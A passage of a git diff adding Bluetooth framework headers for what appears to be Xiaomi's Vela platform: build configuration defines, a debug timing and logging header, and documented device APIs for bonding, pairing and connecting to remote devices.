CONFIG_BLUETOOTH_AVRCP_TARGET 1 +#define CONFIG_BLUETOOTH_AVRCP_CONTROL 1 +#define CONFIG_BLUETOOTH_A2DP_MAX_CONNECTIONS 1 +#define CONFIG_HFP_HF_MAX_CONNECTIONS 1 +#define CONFIG_HFP_HF_WEBCHAT_BLOCKER 1 +#define CONFIG_BLUETOOTH_HFP_HF 1 +#define CONFIG_HFP_AG_MAX_CONNECTIONS 1 +#define CONFIG_BLUETOOTH_HFP_AG_PRIMARY_SLOT 0 +#define CONFIG_BLUETOOTH_SPP 1 +#define CONFIG_BLUETOOTH_SPP_MAX_CONNECTIONS 1 +#define CONFIG_BLUETOOTH_SPP_SERVER_MAX_CONNECTIONS 8 +#define CONFIG_BLUETOOTH_MAX_REGISTER_NUM 4 +#define CONFIG_BLUETOOTH_FRAMEWORK 1 +// #define CONFIG_BLUETOOTH_FRAMEWORK_LOCAL 1 +#define CONFIG_BLUETOOTH_FRAMEWORK_SOCKET_IPC 1 +#define CONFIG_BLUETOOTH_SOCKET_PORT 6001 +#define CONFIG_BLUETOOTH_SERVICE 1 +// #define CONFIG_BLUETOOTH_SERVER 1 +#define CONFIG_BLUETOOTH_SERVER_NAME "bluetoothd" +#define CONFIG_BLUETOOTH_IPC_JOIN_LOOP 1 +// #define CONFIG_BLUETOOTH_SERVICE_LOG_LEVEL 7 +#define CONFIG_BLUETOOTH_SERVICE_HCI_UART_NAME "/dev/ttyHCI0" +#define CONFIG_BLUETOOTH_STACK_BREDR_BLUELET 1 +#define CONFIG_BLUETOOTH_STACK_LE_BLUELET 1 +#define CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM 2 +#define CONFIG_BLUETOOTH_LE_ADVERTISER_MAX_NUM 2 +#define CONFIG_BLUETOOTH_TOOLS 1 +#define CONFIG_BLUETOOTH_VENDOR_BES 1 + +// Socket: via RPMsg +#define CONFIG_NET_RPMSG 1 + +// Socket: via IPv4 +// #define CONFIG_NET_IPv4 1 +// #define CONFIG_BLUETOOTH_NET_IPv4 1 +#define CONFIG_INADDR_LOOPBACK 0x0A000202 +// SPP +#define CONFIG_RPMSG_UART 1 + +// SPP via RPMsg UART "/dev/ttyDROID" +// #define CONFIG_RPMSG_UART 1 + +/********************* O95 Project Only *********************/ +#if defined(ANDROID_12) +// Socket: RPMsg +#define CONFIG_BLUETOOTH_RPMSG_CPUNAME "ap" + +/********************* O61 Project Only *********************/ +#elif defined(ANDROID_14) +// Socket: RPMsg +#define CONFIG_BLUETOOTH_RPMSG_CPUNAME "cp" +// A2DP +#define CONFIG_BLUETOOTH_A2DP 1 +#define CONFIG_BLUETOOTH_A2DP_SOURCE 1 +// HFP +#define CONFIG_BLUETOOTH_HFP_AG 1 +// HID +#define CONFIG_BLUETOOTH_HID_DEVICE 1 +#endif + +#endif + +// Platform: 32-bit or 64-bit +#if defined(CONFIG_ARCH_ARM64) || defined(ARCH_X86_64) || defined(ANDROID) || (!defined(CONFIG_SIM_M32) && defined(CONFIG_ARCH_SIM)) || defined(CONFIG_ARCH_X86_64) +#define CONFIG_CPU_BIT64 1 +#elif defined(ARCH_ARM) || defined(ARCH_X86) +#define CONFIG_CPU_BIT32 1 +#endif + +// ############################################################################ +#define CONFIG_y 1 +#define CONFIG_m 2 + +#endif //__INCLUDE_BT_CONFIG_H diff --git a/framework/include/bt_debug.h b/framework/include/bt_debug.h new file mode 100644 index 0000000000000000000000000000000000000000..e4350b03e6e9c36f8c20ef5d16eaa39c0038c446 --- /dev/null +++ b/framework/include/bt_debug.h @@ -0,0 +1,110 @@ +#ifndef __BT_DEBUG_H__ +#define __BT_DEBUG_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_time.h" + +/* Time value structure for Bluetooth debug timing */ +typedef struct timeval_s { + uint64_t entry_time; + uint64_t exit_time; + uint64_t max_timeval; + uint64_t last_timeval; +} bt_timeval_t; + +/* Define macro to create a timeval structure for debugging */ +#ifdef CONFIG_BLUETOOTH_DEBUG_TIMEVAL +#define BT_DEBUG_MKTIMEVAL_S(name_s) \ + bt_timeval_t g_timeval_##name_s = { 0, 0, 0, 0 } +#else +#define BT_DEBUG_MKTIMEVAL_S(name_s) /* No operation */ +#endif + +/* Macro to get current timestamp */ +#ifdef CONFIG_BLUETOOTH_DEBUG_TIMEVAL +#ifdef CONFIG_BLUETOOTH_DEBUG_TIME_UNIT_US +#define _GetCurrTime() ((uint64_t)bt_get_os_timestamp_us()) +#else +#define _GetCurrTime() ((uint64_t)bt_get_os_timestamp_ms()) +#endif +#else +#define _GetCurrTime() 0 +#endif + +/* Macro to mark entry of a time section */ +#ifdef CONFIG_BLUETOOTH_DEBUG_TIMEVAL +#define BT_DEBUG_ENTER_TIME_SECTION(name_s) \ + do { \ + g_timeval_##name_s.entry_time = _GetCurrTime(); \ + } while (0) +#else +#define BT_DEBUG_ENTER_TIME_SECTION(name_s) /* No operation */ +#endif + +/* Macro to mark exit of a time section */ +#ifdef CONFIG_BLUETOOTH_DEBUG_TIMEVAL +#define BT_DEBUG_EXIT_TIME_SECTION(name_s) \ + do { \ + if (g_timeval_##name_s.entry_time != 0) { \ + g_timeval_##name_s.exit_time = _GetCurrTime(); \ + if (g_timeval_##name_s.exit_time >= g_timeval_##name_s.entry_time) { \ + g_timeval_##name_s.last_timeval = g_timeval_##name_s.exit_time - g_timeval_##name_s.entry_time; \ + if (g_timeval_##name_s.last_timeval > g_timeval_##name_s.max_timeval) { \ + g_timeval_##name_s.max_timeval = g_timeval_##name_s.last_timeval; \ + } \ + } else { \ + /* if exit_time < entry_time, reset all to zero */ \ + g_timeval_##name_s.entry_time = 0; \ + g_timeval_##name_s.exit_time = 0; \ + g_timeval_##name_s.last_timeval = 0; \ + g_timeval_##name_s.max_timeval = 0; \ + } \ + } \ + } while (0) +#else +#define BT_DEBUG_EXIT_TIME_SECTION(name_s) /* No operation */ +#endif + +#if defined(__NuttX__) // Vela + +#include <debug.h> +#include <syslog.h> + +#include "utils/log.h" + +#elif defined(ANDROID) // Android + +#include <android/log.h> +#include <assert.h> + +#include "utils/log.h" + +#ifndef LOG_TAG +#define LOG_TAG "VELA-BT" +#endif +#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) + +#define syslog(x, ...) \ + do { \ + } while (0) + +#define lib_dumpbuffer(x, y, z) \ + do { \ + } while (0) + +#define zalloc(x) calloc(x, 1) + +#define OK 0 + +#define UNUSED(x) ((void)(x)) + +#endif // End of Android + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_DEBUG_H__ */ diff --git a/framework/include/bt_device.h b/framework/include/bt_device.h new file mode 100644 index 0000000000000000000000000000000000000000..56e3e9d760e809a608c63f82cdf9fbb9d1ba5f42 --- /dev/null +++ b/framework/include/bt_device.h @@ -0,0 +1,957 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_DEVICE_H__ +#define _BT_DEVICE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_status.h" +#include <stdint.h> + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ + +/** + * @brief Profile connection state + * + */ +typedef enum { + PROFILE_STATE_DISCONNECTED, + PROFILE_STATE_CONNECTING, + PROFILE_STATE_CONNECTED, + PROFILE_STATE_DISCONNECTING, +} profile_connection_state_t; + +/** + * @brief Profile connection reason + * + */ +typedef enum { + PROFILE_REASON_SUCCESS = 0x0000, + PROFILE_REASON_COLLISION = 0x0001, + + PROFILE_REASON_UNSPECIFIED = 0xFFFF, +} profile_connection_reason_t; + +/** + * @brief ACL connection state + * + */ +typedef enum { + CONNECTION_STATE_DISCONNECTED, + CONNECTION_STATE_CONNECTING, + CONNECTION_STATE_DISCONNECTING, + CONNECTION_STATE_CONNECTED, + CONNECTION_STATE_ENCRYPTED_BREDR, + CONNECTION_STATE_ENCRYPTED_LE +} connection_state_t; + +/** + * @brief Bond state + * + */ +typedef enum { + BOND_STATE_NONE, + BOND_STATE_BONDING, + BOND_STATE_BONDED, + BOND_STATE_CANCELING +} bond_state_t; + +/** + * @brief bluetooth connection policy + * + */ +typedef enum { + CONNECTION_POLICY_ALLOWED, + CONNECTION_POLICY_FORBIDDEN, + CONNECTION_POLICY_UNKNOWN, +} connection_policy_t; + +/** + * @endcond + */ + +/** + * @brief Get the BLE Identity Address of a remote device. + * + * Retrieves the BLE Identity Address (`id_addr`) of a remote device. The Identity Address is a fixed + * BLE address used to identify the device, distinct from the current BLE address (`bd_addr`) when + * privacy features such as Resolvable Private Address (RPA) are enabled. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param bd_addr - Current BLE address of the remote device: + * - Public Device Address + * - Random Device Address (Static or Resolvable Private Address) + * @param[out] id_addr - Pointer to store the Identity Address, which will be one of: + * - Public Device Address + * - Static Random Address + * + * @return bt_status_t + * - `BT_STATUS_SUCCESS`: Successfully retrieved the Identity Address. + * - Negative error code: Operation failed (e.g., invalid address or device not found). + * + * @note **Difference Between `bd_addr` and `id_addr`:** + * - **`bd_addr`**: The device's current BLE connection address, which may change if privacy + * features such as RPA are used. It is used for ongoing communication. + * - **`id_addr`**: The stable Identity Address, which will always be one of: + * - **Public Device Address**: Globally unique and assigned by the manufacturer. + * - **Static Random Address**: Fixed and randomly generated, persistent across power cycles. + * + * @note **Bluetooth Address Details:** + * - **Public Device Address**: Globally unique address assigned by the manufacturer, also used + * as BD_ADDR for BR/EDR devices. + * - **Random Device Address**: Includes: + * - **Static Address**: Fixed random address when privacy is not enabled. + * - **Resolvable Private Address (RPA)**: Temporary address used for privacy, resolved to + * the Identity Address using the IRK (Identity Resolving Key). + * - **Identity Address**: A fixed address used to identify the device. + * + * The Identity Address is typically obtained during pairing and stored for future use. + * + * **Example:** + * @code +bt_address_t bd_addr; // Current BLE connection address +bt_address_t id_addr; // Identity Address to retrieve +if (bt_device_get_identity_address(ins, &bd_addr, &id_addr) == BT_STATUS_SUCCESS) { + // Successfully retrieved the Identity Address +} else { + // Handle failure +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_get_identity_address)(bt_instance_t* ins, bt_address_t* bd_addr, bt_address_t* id_addr); + +/** + * @brief Get the BLE address type of a remote device. + * + * Retrieves the BLE address type, indicating whether it is Public, Static Random, RPA, + * or other specific types. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return ble_addr_type_t + * - The BLE address type of the device. + * - Returns `BLE_ADDR_TYPE_UNKNOWN` if the device is not found. + * + * @note **Address Types:** + * - **BT_LE_ADDR_TYPE_PUBLIC**: Public address, globally unique and unchanging. + * - **BT_LE_ADDR_TYPE_RANDOM**: Random address, used during connections (e.g., RPA or static random). + * When used locally (e.g., in advertising), this indicates a static random address + * set via `bt_adapter_set_le_address`. + * - **BT_LE_ADDR_TYPE_PUBLIC_ID**: Public identity address, using public address for identification + * even if a static random address is set. + * - **BT_LE_ADDR_TYPE_RANDOM_ID**: Random identity address (e.g., RPA), used when + * the privacy feature is enabled. + * - **BT_LE_ADDR_TYPE_ANONYMOUS**: Anonymous address, often used with Accept/White Lists. + * - **BT_LE_ADDR_TYPE_UNKNOWN**: The address type cannot be determined. + * + * **Example:** + * @code +ble_addr_type_t addr_type = bt_device_get_address_type(ins, &addr); +if (addr_type != BLE_ADDR_TYPE_UNKNOWN) { + // Handle the specific address type + if (addr_type == BLE_ADDR_TYPE_PUBLIC) { + // Process public address + } +} else { + // Device not found +} + * @endcode + */ +ble_addr_type_t BTSYMBOLS(bt_device_get_address_type)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get device type of a remote device. + * + * Retrieves the device type (e.g., BR/EDR, LE, Dual Mode) of a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return bt_device_type_t - Device type; zero if the device is not found. + * + * **Example:** + * @code +bt_device_type_t device_type = bt_device_get_device_type(ins, &addr); +if (device_type != 0) { + // Use device_type as needed +} else { + // Handle device not found +} + * @endcode + */ +bt_device_type_t BTSYMBOLS(bt_device_get_device_type)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Retrieve the name of a remote device. + * + * Retrieves the user-friendly name of a remote Bluetooth device in UTF-8 encoding. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param[out] name - Buffer to store the device name. The name is UTF-8 encoded. + * - According to the Bluetooth specification, the buffer size for the device name must not exceed 248 bytes. + * - On the Vela platform, the maximum allowed name length is defined as `BT_DEV_NAME_MAX_LEN`. + * To handle the null terminator properly, the buffer should be sized at `BT_DEV_NAME_MAX_LEN + 1`, + * where the last byte ensures the string is null-terminated. + * @param length - Size of the name buffer. + * @return true - The device name was successfully retrieved. + * @return false - The device was not found or the name could not be retrieved. + * + * @note **Buffer Requirements:** + * - Ensure the `name` buffer is large enough to store the device name, including space for the null terminator. + * - On the Vela platform: + * - The maximum effective name length is `BT_DEV_NAME_MAX_LEN`. + * - Allocate `BT_DEV_NAME_MAX_LEN + 1` bytes to account for the null terminator and avoid buffer overflow issues. + * - According to the Bluetooth specification, the buffer size must not exceed 248 bytes. + * + * **Example:** + * @code +char name[BT_DEV_NAME_MAX_LEN + 1]; // Allocate buffer for the name and null terminator. +if (bt_device_get_name(ins, &addr, name, sizeof(name))) { + // Use name as needed +} else { + // Handle device not found +} + * @endcode + */ +bool BTSYMBOLS(bt_device_get_name)(bt_instance_t* ins, bt_address_t* addr, char* name, uint32_t length); + +/** + * @brief Get the Class of Device (CoD) of a remote device. + * + * Retrieves the Class of Device (CoD) value of a remote device. + * The Class of Device is a parameter received during the device discovery procedure + * on the BR/EDR physical transport, indicating the type of device. + * The Class of Device parameter is only used on BR/EDR and BR/EDR/LE devices + * using the BR/EDR physical transport. + * + * - The CoD parameter consists of: + * - **Major Device Class**: Represents the primary category of the device (e.g., computer, phone, audio). + * - **Minor Device Class**: Provides a more specific classification (e.g., headset, smartphone). + * - **Service Class**: Indicates supported services (e.g., telephony, audio streaming). + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return uint32_t - CoD value; zero if the device is not found. + * + * **Example:** + * @code +uint32_t cod = bt_device_get_device_class(ins, &addr); +if (cod != 0) { + // Use cod as needed +} else { + // Handle device not found +} + * @endcode + */ +uint32_t BTSYMBOLS(bt_device_get_device_class)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get the list of supported UUIDs of a remote device. + * + * Retrieves the list of Universally Unique Identifiers (UUIDs) supported by a remote device. + * A UUID is a universally unique identifier that is expected to be unique across all + * space and time (more precisely, the probability of independently-generated UUIDs + * being the same is negligible). Normally, a client searches for services based on + * specific desired characteristics, each represented by a UUID. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param[out] uuids - Pointer to an array of UUIDs; memory is allocated using the provided allocator. + * @param[out] size - Number of UUIDs retrieved. + * @param allocator - Allocator function used to allocate memory for the UUID array. + * @return bt_status_t + * - `BT_STATUS_SUCCESS`: UUIDs successfully retrieved. + * - Negative error code: Operation failed. + * + * **Example:** + * @code +bt_uuid_t* uuids = NULL; +uint16_t size = 0; +if (bt_device_get_uuids(ins, &addr, &uuids, &size, my_allocator) == BT_STATUS_SUCCESS) { + // Use the UUID array as needed + // Free memory using the allocator's deallocation function +} else { + // Handle the error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_get_uuids)(bt_instance_t* ins, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator); + +/** + * @brief Get the BLE appearance of a remote device. + * + * Retrieves the Appearance characteristic of a remote device. The Appearance + * characteristic contains a 16-bit number that can be mapped to an icon or string + * that describes the physical representation of the device during the device discovery + * procedure. It is a characteristic of the GAP service located on the device’s GATT Server. + * + * @note Currently not supported. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return uint16_t - Appearance value; zero if the device is not found or the operation is unsupported. + */ +uint16_t BTSYMBOLS(bt_device_get_appearance)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get the RSSI (Received Signal Strength Indication) of a remote device. + * + * @note This API is applicable only availble for BR/EDR connected devices. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return int8_t - RSSI value. + */ +int8_t BTSYMBOLS(bt_device_get_rssi)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get the alias of a remote device. + * + * Retrieves the alias (user-defined name) of a remote device. If an alias is not set, the device name is used. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param[out] alias - Buffer to store the alias. + * @param length -length of the alias buffer, the alias buffer size shall be no smaller than 64. + * @return true - Success. + * @return false - Device not found. + * + * **Example:** + * @code +char alias[64]; // The alias buffer size shall be no smaller than 64 +if (bt_device_get_alias(ins, &addr, alias, sizeof(alias))) { + // Use alias as needed +} else { + // Handle device not found +} + * @endcode + */ +bool BTSYMBOLS(bt_device_get_alias)(bt_instance_t* ins, bt_address_t* addr, char* alias, uint32_t length); + +/** + * @brief Set the alias of a remote device. + * + * Assigns an alias (user-defined name) to a remote device. + * The length of the alias name shall be less than BT_LOC_NAME_MAX_LEN. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param alias - New alias for the device. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_set_alias(ins, &addr, "My Device") == BT_STATUS_SUCCESS) { + // Alias set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_alias)(bt_instance_t* ins, bt_address_t* addr, const char* alias); + +/** + * @brief Check if a remote device is connected. + * + * Determines whether a remote device is currently connected. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type, see @ref bt_transport_t. + * @return true - Device is connected. + * @return false - Device is not connected. + * + * **Example:** + * @code +if (bt_device_is_connected(ins, &addr, BT_TRANSPORT_BR_EDR)) { + // Device is connected +} else { + // Device is not connected +} + * @endcode + */ +bool BTSYMBOLS(bt_device_is_connected)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Check if a remote device connection is encrypted. + * + * Determines whether the connection to a remote device is encrypted. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type, see @ref bt_transport_t. + * @return true - Connection is encrypted. + * @return false - Connection is not encrypted. + * + * **Example:** + * @code +if (bt_device_is_encrypted(ins, &addr, BT_TRANSPORT_LE)) { + // Connection is encrypted +} else { + // Connection is not encrypted +} + * @endcode + */ +bool BTSYMBOLS(bt_device_is_encrypted)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Check if bonding was initiated from the local device. + * + * Determines whether the bonding process with a remote device was initiated locally. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type, see @ref bt_transport_t. + * @return true - Bonding initiated from local device. + * @return false - Bonding initiated from remote device. + * + * **Example:** + * @code +if (bt_device_is_bond_initiate_local(ins, &addr, BT_TRANSPORT_LE)) { + // Bonding initiated locally +} else { + // Bonding initiated remotely +} + * @endcode + */ +bool BTSYMBOLS(bt_device_is_bond_initiate_local)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Get the bond state with a remote device. + * + * Retrieves the current bonding state with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type, see @ref bt_transport_t. + * @return bond_state_t - Current bond state, see @ref bond_state_t. + * + * **Example:** + * @code +bond_state_t bond_state = bt_device_get_bond_state(ins, &addr, BT_TRANSPORT_BR_EDR); +switch (bond_state) { + case BOND_STATE_NONE: + // Not bonded + break; + case BOND_STATE_BONDING: + // Bonding in progress + break; + case BOND_STATE_BONDED: + // Bonded + break; + case BOND_STATE_CANCELING: + // Bonding is being canceled + break; +} + * @endcode + */ +bond_state_t BTSYMBOLS(bt_device_get_bond_state)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Check if a remote device is bonded. + * + * Determines whether a remote device is bonded with the local device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type, see @ref bt_transport_t. + * @return true - Device is bonded. + * @return false - Device is not bonded. + * + * **Example:** + * @code +if (bt_device_is_bonded(ins, &addr, BT_TRANSPORT_LE)) { + // Device is bonded +} else { + // Device is not bonded +} + * @endcode + */ +bool BTSYMBOLS(bt_device_is_bonded)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Initiate bonding with a remote device. + * + * Starts the bonding process with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type (0: LE, 1: BR/EDR). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_create_bond(ins, &addr, BT_TRANSPORT_BR_EDR) == BT_STATUS_SUCCESS) { + // Bonding initiated successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_create_bond)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Set the security level for bond. + * + * Dynamically set the security level when bond with remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param level - set the security level(0 ~ 4). Level 0: Only for BR/EDR special cases, like SDP + * @param transport - Transport type (0: LE, 1: BR/EDR). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a error code on failure. + * + * **Example:** + * @code +// bond with Authenticated Secure Connections + bt_device_set_security_level(ins, 4, BT_TRANSPORT_BLE); + bt_device_create_bond(ins, &addr, BT_TRANSPORT_BLE); + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_security_level)(bt_instance_t* ins, uint8_t level, bt_transport_t transport); + +/** + * @brief Set LE bond mode. + * + * Dynamically set the bond mode when bond with remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param bool - bondable. true for bondable, false for non-bondable. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a error code on failure. + * + * **Example:** + * @code +// pair with non-bondable mode + bt_device_set_bondable_le(ins, false); + bt_device_create_bond(ins, &addr, BT_TRANSPORT_BLE); + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_bondable_le)(bt_instance_t* ins, bool bondable); + +/** + * @brief Remove bonding with a remote device. + * + * Removes the bonding information of a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type (0: LE, 1: BR/EDR). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_remove_bond(ins, &addr, BT_TRANSPORT_LE) == BT_STATUS_SUCCESS) { + // Bonding removed successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_remove_bond)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport); + +/** + * @brief Cancel an ongoing bonding process. + * + * Cancels the bonding process with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_cancel_bond(ins, &addr) == BT_STATUS_SUCCESS) { + // Bonding canceled successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_cancel_bond)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Reply to a pairing request. + * + * Responds to a pairing request from a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param accept - true to accept the pairing request; false to reject. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_pair_request_reply(ins, &addr, true) == BT_STATUS_SUCCESS) { + // Pairing request accepted +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_pair_request_reply)(bt_instance_t* ins, bt_address_t* addr, bool accept); + +/** + * @brief Set pairing confirmation for secure pairing. + * + * Confirms or rejects a pairing confirmation request, typically used in Just Works or Passkey Confirmation scenarios. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type (0: LE, 1: BR/EDR). + * @param accept - true to accept the pairing; false to reject. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_set_pairing_confirmation(ins, &addr, BT_TRANSPORT_LE, true) == BT_STATUS_SUCCESS) { + // Pairing confirmed +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_pairing_confirmation)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept); + +/** + * @brief Set the PIN code for pairing. + * + * Provides a PIN code in response to a pairing request that requires one. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param accept - true to accept the pairing; false to reject. + * @param pincode - Pointer to the PIN code string. + * @param len - Length of the PIN code string. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +char pin[] = "1234"; +if (bt_device_set_pin_code(ins, &addr, true, pin, strlen(pin)) == BT_STATUS_SUCCESS) { + // PIN code set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_pin_code)(bt_instance_t* ins, bt_address_t* addr, bool accept, char* pincode, int len); + +/** + * @brief Set the passkey for pairing. + * + * Provides a passkey in response to a pairing request that requires one, for both BR/EDR and LE transports. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param transport - Transport type (0: LE, 1: BR/EDR). + * @param accept - true to accept the pairing; false to reject. + * @param passkey - The passkey value. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example for BR/EDR:** + * @code +if (bt_device_set_pass_key(ins, &addr, BT_TRANSPORT_BR_EDR, true, 123456) == BT_STATUS_SUCCESS) { + // Passkey set successfully +} else { + // Handle error +} + * @endcode + * + * **Example for LE:** + * @code +if (bt_device_set_pass_key(ins, &addr, BT_TRANSPORT_LE, true, 123456) == BT_STATUS_SUCCESS) { + // Passkey set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_set_pass_key)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey); + +/** + * @brief Set the OOB Temporary Key (TK) for LE legacy pairing. + * + * Provides the OOB TK value used during LE legacy pairing. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param tk_val - OOB TK value (128-bit key). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_set_le_legacy_tk)(bt_instance_t* ins, bt_address_t* addr, bt_128key_t tk_val); + +/** + * @brief Set remote OOB data for LE Secure Connections pairing. + * + * Provides the remote OOB data (Confirmation and Random values) used during LE Secure Connections pairing. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param c_val - LE Secure Connections Confirmation value (128-bit key). + * @param r_val - LE Secure Connections Random value (128-bit key). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_set_le_sc_remote_oob_data)(bt_instance_t* ins, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val); + +/** + * @brief Get local OOB data for LE Secure Connections pairing. + * + * Initiates the generation of local OOB data for LE Secure Connections pairing. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device (can be NULL). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_get_le_sc_local_oob_data(ins, &addr) == BT_STATUS_SUCCESS) { + // OOB data generation initiated +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_get_le_sc_local_oob_data)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Connect to a remote device. + * + * Initiates an ACL connection to a remote BR/EDR device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_connect(ins, &addr) == BT_STATUS_SUCCESS) { + // Connection initiated successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Connect to peer device with specific Profiles. And open reconnect method. + * + * @param ins - bluetooth client instance. + * @param addr - remote device address.if addr is NULL, connect last device in bonded list. + * @param transport - transport type (0:BLE, 1:BREDR). + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +if (bt_device_background_connect(ins, &addr, 